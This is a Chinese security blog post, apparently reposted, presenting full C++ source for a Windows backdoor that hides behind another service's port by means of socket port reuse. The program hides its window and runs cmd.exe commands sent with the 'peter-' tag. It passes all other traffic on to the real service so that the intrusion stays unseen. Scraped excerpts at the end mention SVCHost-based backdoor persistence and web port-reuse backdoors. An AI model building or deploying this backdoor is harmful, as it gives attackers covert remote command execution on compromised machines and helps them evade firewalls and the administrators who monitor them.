安全之路 —— 利用端口复用技术隐藏后门端口

简介

前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管之前程序的信息接受权,所以我们在复用端口后,要对非后门信息通过127.0.0.1本机回环地址进行消息转发。

C++代码样例

/////////////////////////////////////////
//
// FileName : ReUseSocket.cpp
// Creator : PeterZ1997
// Date : 2018-5-31 17:54
// Comment : 端口复用后门(单管道)
// Editor : Visual Studio 2017
//
/////////////////////////////////////////

/***************************************************************/
/*  注:WSASocket初始化的Socket无法通过setsockopt函数设置接收超时 */
/***************************************************************/

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

using namespace std;

#pragma once
#define MAX_COUNT 255       //字符串最大长度
#define MAX_CONN_COUNT 1024 //最大连接数

typedef struct ThreadParam {  //SocketProc多线程结构体
    SOCKET sClient;
    sockaddr_in addr;
}tP;

const DWORD dwPort = 80;                        //端口号
const CHAR szTagContent[MAX_COUNT] = "peter-";  //连接标识
const DWORD dwTagLength = (size_t)strlen(szTagContent); // 连接标识长度

/**
 * @brief 字符串切片
 * @param str1 源字符串
 * @param str2 结果字符串
 * @param dwBeginCount 数组下标起始值
 * @param dwEndCount 数组下标的最终值(取到前一位)
 */
VOID StringCut(LPCSTR str1, LPSTR str2, DWORD dwBeginCount, DWORD dwEndCount)
{
    if (strlen(str1) > MAX_COUNT || dwBeginCount >= dwEndCount || dwBeginCount >= 255 || dwEndCount > 255)
    {
        return;
    }
    for (DWORD i = dwBeginCount, j = 0; i < dwEndCount, j < MAX_COUNT; i++, j++)
    {
        str2[j] = str1[i];
    }
    return;
}

/**
 * @brief 管道数据监控
 * @param sClient 客户端Socket对象
 * @param hOutputPipe 输出管道
 */
VOID DataMonitor(SOCKET sClient, HANDLE hOutputPipe)
{
    DWORD dwTotalAvail = 0;
    DWORD dwReadLength = 0;
    CHAR pipeBuffer[MAX_COUNT*MAX_COUNT] = "\0";
    ReadFile(hOutputPipe, pipeBuffer, sizeof(pipeBuffer), &dwReadLength, NULL);
    send(sClient, pipeBuffer, (size_t)strlen(pipeBuffer), 0);
    ZeroMemory(pipeBuffer, sizeof(pipeBuffer));
    return;
}

/**
 * @brief 打开Shell
 * @param sClient 客户端Socket对象
 * @param szRecvBuffer 字符串接收缓冲区
 */
VOID StartShell(SOCKET sClient, LPCSTR szRecvBuffer)
{
    HANDLE hInputPipe, outputPipe;
    CHAR szCmdLine[MAX_COUNT] = "\0";
    CHAR szSendData[MAX_COUNT] = "\0";
    if (strlen(szRecvBuffer) <= dwTagLength)
    {
        send(sClient, "None", 5, 0);
        return;
    }
    StringCut(szRecvBuffer, szCmdLine, dwTagLength, (size_t)strlen(szRecvBuffer));
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    CreatePipe(&outputPipe, &hInputPipe, &sa, 0);
    Sleep(200);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.hStdError = hInputPipe;
    si.hStdOutput = hInputPipe;
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    GetSystemDirectory(szSendData, sizeof(szSendData));
    StringCchCat(szSendData, sizeof(szSendData), "\\cmd.exe /c ");
    StringCchCat(szSendData, sizeof(szSendData), szCmdLine);
    CreateProcess(NULL, szSendData, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, 10000); //最迟等待10秒后返回,防止命令无回显情况发生
    DataMonitor(sClient, outputPipe);
    return;
}

/**
 * @brief 客户端Socket处理
 * @param lpParam ThreadParam参数结构体
 */
DWORD WINAPI SocketProc(LPVOID lpParam)
{
    SOCKET sClient = ((tP*)lpParam)->sClient;
    CHAR szRecvBuffer[MAX_COUNT * 10] = "\0";
    SOCKET sNative;
    sockaddr_in saiNativeAddr;
    CHAR szTip[] = "\r\nPeterBD>";
    struct timeval optNativeValue;
    saiNativeAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    saiNativeAddr.sin_family = AF_INET;
    saiNativeAddr.sin_port = htons(dwPort);
    sNative = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sNative == INVALID_SOCKET)
    {
        closesocket(sClient);
        return 0;
    }
    optNativeValue.tv_sec = 1;
    optNativeValue.tv_usec = 0;
    if (setsockopt(sNative, SOL_SOCKET, SO_RCVTIMEO, (CHAR*)&optNativeValue, sizeof(optNativeValue)) == SOCKET_ERROR)  //设置接收超时
    {
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    if (connect(sNative, (struct sockaddr*)&saiNativeAddr, sizeof(saiNativeAddr)) == SOCKET_ERROR && WSAGetLastError() != WSAECONNREFUSED) //防止对方为打开复用目标端口,导致无法数据转发
    {
        closesocket(sClient);
        closesocket(sNative);
        return 0;
    }
    while (TRUE)
    {
        send(sClient, szTip, (size_t)strlen(szTip), 0);
        ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
        DWORD ret = recv(sClient, szRecvBuffer, sizeof(szRecvBuffer), 0);
        if (ret == SOCKET_ERROR)
        {
            break;
        }
        if (strncmp(szRecvBuffer, szTagContent, dwTagLength) == 0)
        {
            StartShell(sClient, szRecvBuffer);
            continue;
        }
        send(sNative, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
        ZeroMemory(szRecvBuffer, sizeof(szRecvBuffer));
        recv(sNative, szRecvBuffer, sizeof(szRecvBuffer), 0);
        if (strlen(szRecvBuffer))
        {
            send(sClient, szRecvBuffer, (size_t)strlen(szRecvBuffer), 0);
        }
    }
    closesocket(sClient);
    closesocket(sNative);
    return 0;
}

/**
 * @brief 主函数
 */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    WSADATA wsd;
    SOCKET sServer;
    sockaddr_in saiServerAddr;
    in_addr iaTempAddr;
    tP *tp[MAX_CONN_COUNT];
    HANDLE hThreadPool[MAX_CONN_COUNT];
    int connCount = 0;
    int s_ClientAddrSize = 0;
    CHAR szHostName[MAX_COUNT] = "\0";
    if (WSAStartup(0x0202, &wsd))
    {
        return 0;
    }
    gethostname(szHostName, sizeof(szHostName));
    HOSTENT *hostInfo = gethostbyname(szHostName);
    saiServerAddr.sin_family = AF_INET;
    saiServerAddr.sin_port = htons(dwPort);
    memcpy(&iaTempAddr.S_un.S_addr, hostInfo->h_addr_list[0], hostInfo->h_length); //监听第一张网卡ip,如果必要的话,可以切换网卡或自定义本地ip
    saiServerAddr.sin_addr.S_un.S_addr = iaTempAddr.S_un.S_addr;
    sServer = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, NULL, 0);
    int dwOptVal = 1;
    if (setsockopt(sServer, SOL_SOCKET, SO_REUSEADDR, (CHAR*)&dwOptVal, sizeof(dwOptVal)) == SOCKET_ERROR) //设置为端口复用模式
    {
        return 0;
    }
    if (bind(sServer, (struct sockaddr*)&saiServerAddr, sizeof(saiServerAddr)) == SOCKET_ERROR)
    {
        return 0;
    }
    if (listen(sServer, SOMAXCONN) == SOCKET_ERROR)
    {
        return 0;
    }
    while (connCount < MAX_CONN_COUNT)
    {
        tp[connCount] = (tP*)malloc(sizeof(tP));
        s_ClientAddrSize = sizeof(tp[connCount]->addr);
        tp[connCount]->sClient = accept(sServer, (struct sockaddr*)&(tp[connCount]->addr), &s_ClientAddrSize);
        hThreadPool[connCount] = CreateThread(NULL, 0, SocketProc, (LPVOID)tp[connCount], 0, NULL);
        connCount++;
    }
    WaitForMultipleObjects(connCount, hThreadPool, true, INFINITE);
    for (int i = 0; i < connCount; i++)
    {
        CloseHandle(hThreadPool[i]);
        closesocket(tp[i]->sClient);
    }
    closesocket(sServer);
    WSACleanup();
    ExitProcess(0);
    return 0;
}

原文地址:https://www.cnblogs.com/PeterZ1997/p/9532045.html

时间: 2024-11-05 22:47:55

安全之路 —— 利用端口复用技术隐藏后门端口的相关文章

端口复用技术简单了解;重用端口;socket复用端口

端口复用相关点 多个应用复用端口,只有最后一个绑定的socket可以接受数据,所有socket都可以发送数据 使用端口复用技术时,所有的socket都开启端口复用,才可以实现端口复用 黑客技术,使用标准端口做其他事情 端口映射,把标准端口的流量映射到其他端口上 SO_EXECLUSIVEADDRUSE选项开启,可以禁止端口复用 端口复用最常用的用途 应该是防止服务器重启时之前绑定的端口还未释放或者程序突然退出而系统没有释放端口.这种情况下如果设定了端口复用,则新启动的服务器进程可以直接绑定端口.

安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

简介 在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务.它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战.我们在使用此方法时,要有两个步骤: 编写dll文件封装ServiceMain导出函数 编写负责服务安装与移除的exe文件 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录. C++代码样例 DLL程序代码:

Web端口复用正向后门研究实现与防御

0×01背景 现在的很多远控/后门因为目前主流防火墙规则的限制,基本上都采用TCP/UDP反弹回连的通讯形式:但是在较高安全环境下,尤其负责web相关业务的环境,因为安防设备(防火墙,IDS,IPS等)规则的严格限制,TCP/UDP(HTTP/HTTPS/DNS)甚至ICMP等隧道都不能很轻易从内网访问Internet,只接受外部的请求.在这种场景下,攻击者在拿到了webshell的前提下,考虑植入除webshell以外的后门就需要考虑如何来绕过防火墙等安防设备的限制了. 实际上关于端口复用这一

企业边界网络设备的一般配置:ACL、端口复用(PAT)、端口映射

一.概述: 企业的边界网络设备一般是路由器或者多层交换机,主要实现的功能如下:(1)实现内网部分设备访问外网:(2)客户从公网访问企业内网的Web服务器等:(3)运维人员从外网访问企业内部的部分设备进行远程维护.其中第一项功能需求通过ACL和端口复用(PAT)技术实现,第二.三项功能需求通过端口映射技术实现. 本文结合拓扑图讲述上述几项功能的实现技术及具体配置. 二.拓扑图说明: 如上图所示,绿色背景部分为企业内部网络环境(COMPANY-Network),蓝色背景部分为运营商网络环境(ISP-

Linux网络编程——端口复用(多个套接字绑定同一个端口)

在<绑定( bind )端口需要注意的问题>提到:一个网络应用程序只能绑定一个端口( 一个套接字只能绑定一个端口 ). 实际上,默认的情况下,如果一个网络应用程序的一个套接字 绑定了一个端口( 占用了 8000 ),这时候,别的套接字就无法使用这个端口( 8000 ), 验证例子如下: [objc] view plaincopy #include <stdio.h> #include <stdlib.h> #include <string.h> #inclu

TCP套接字端口复用SO_REUSEADDR

下面建立的套接字都是tcp套接字 1.进程创建监听套接字socket1,邦定一个指定端口,并接受了若干连接.那么进程创建另外一个套接口socket2,并试图邦定同一个端口时候,bind错误返回“Address already in use”(即使使用了SO_REUSEADDR). 2.进程创建监听套接字,邦定一个指定端口,并接受了若干连接,为每个连接创建子进程为连接服务.杀死监听套接字所在进程,然后重新启动.重新启动的进程调用bind重新建立监听套接字.这次邦定只有在bind前指定了SO_REU

跟我一起学WCF(2)——利用.NET Remoting技术开发分布式应用

一.引言 上一篇博文分享了消息队列(MSMQ)技术来实现分布式应用,在这篇博文继续分享下.NET平台下另一种分布式技术——.NET Remoting. 二..NET Remoting 介绍 2.1 .NET Remoting简介 .NET REmoting与MSMQ不同,它不支持离线可得,另外只适合.NET平台的程序进行通信.它提供了一种允许对象通过应用程序域与另一个对象进行交互的框架..NET 应用程序都在一个主应用程序域中执行的,在一个应用程序域中的代码不能访问另一个应用程序域的数据,然而在

Linux下的socket编程实践(三)端口复用和 P2P多进程服务器

Socket端口复用 先说为什么要使用socket端口复用?如果你遇到过这样的问题:server程序重启之后,无法连接,需要过一段时间才能连接上? 1.一个监听(listen)server已经启动 2.当有client有连接请求的时候,server产生一个子进程去处理该client的事物. 3.server主进程终止了,但是子进程还在占用该连接处理client的事情.虽然子进程终止了,但是由于子进程没有终止,该socket的引用计数不会为0,所以该socket不会被关闭. 4.server程序重

Linux网络编程:端口复用

在<绑定( bind )端口需要注意的问题>提到:一个网络应用程序只能绑定一个端口( 一个套接字只能绑定一个端口 ). 实际上,默认的情况下,如果一个网络应用程序的一个套接字 绑定了一个端口( 占用了 8000 ),这时候,别的套接字就无法使用这个端口( 8000 ), 验证例子如下: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #i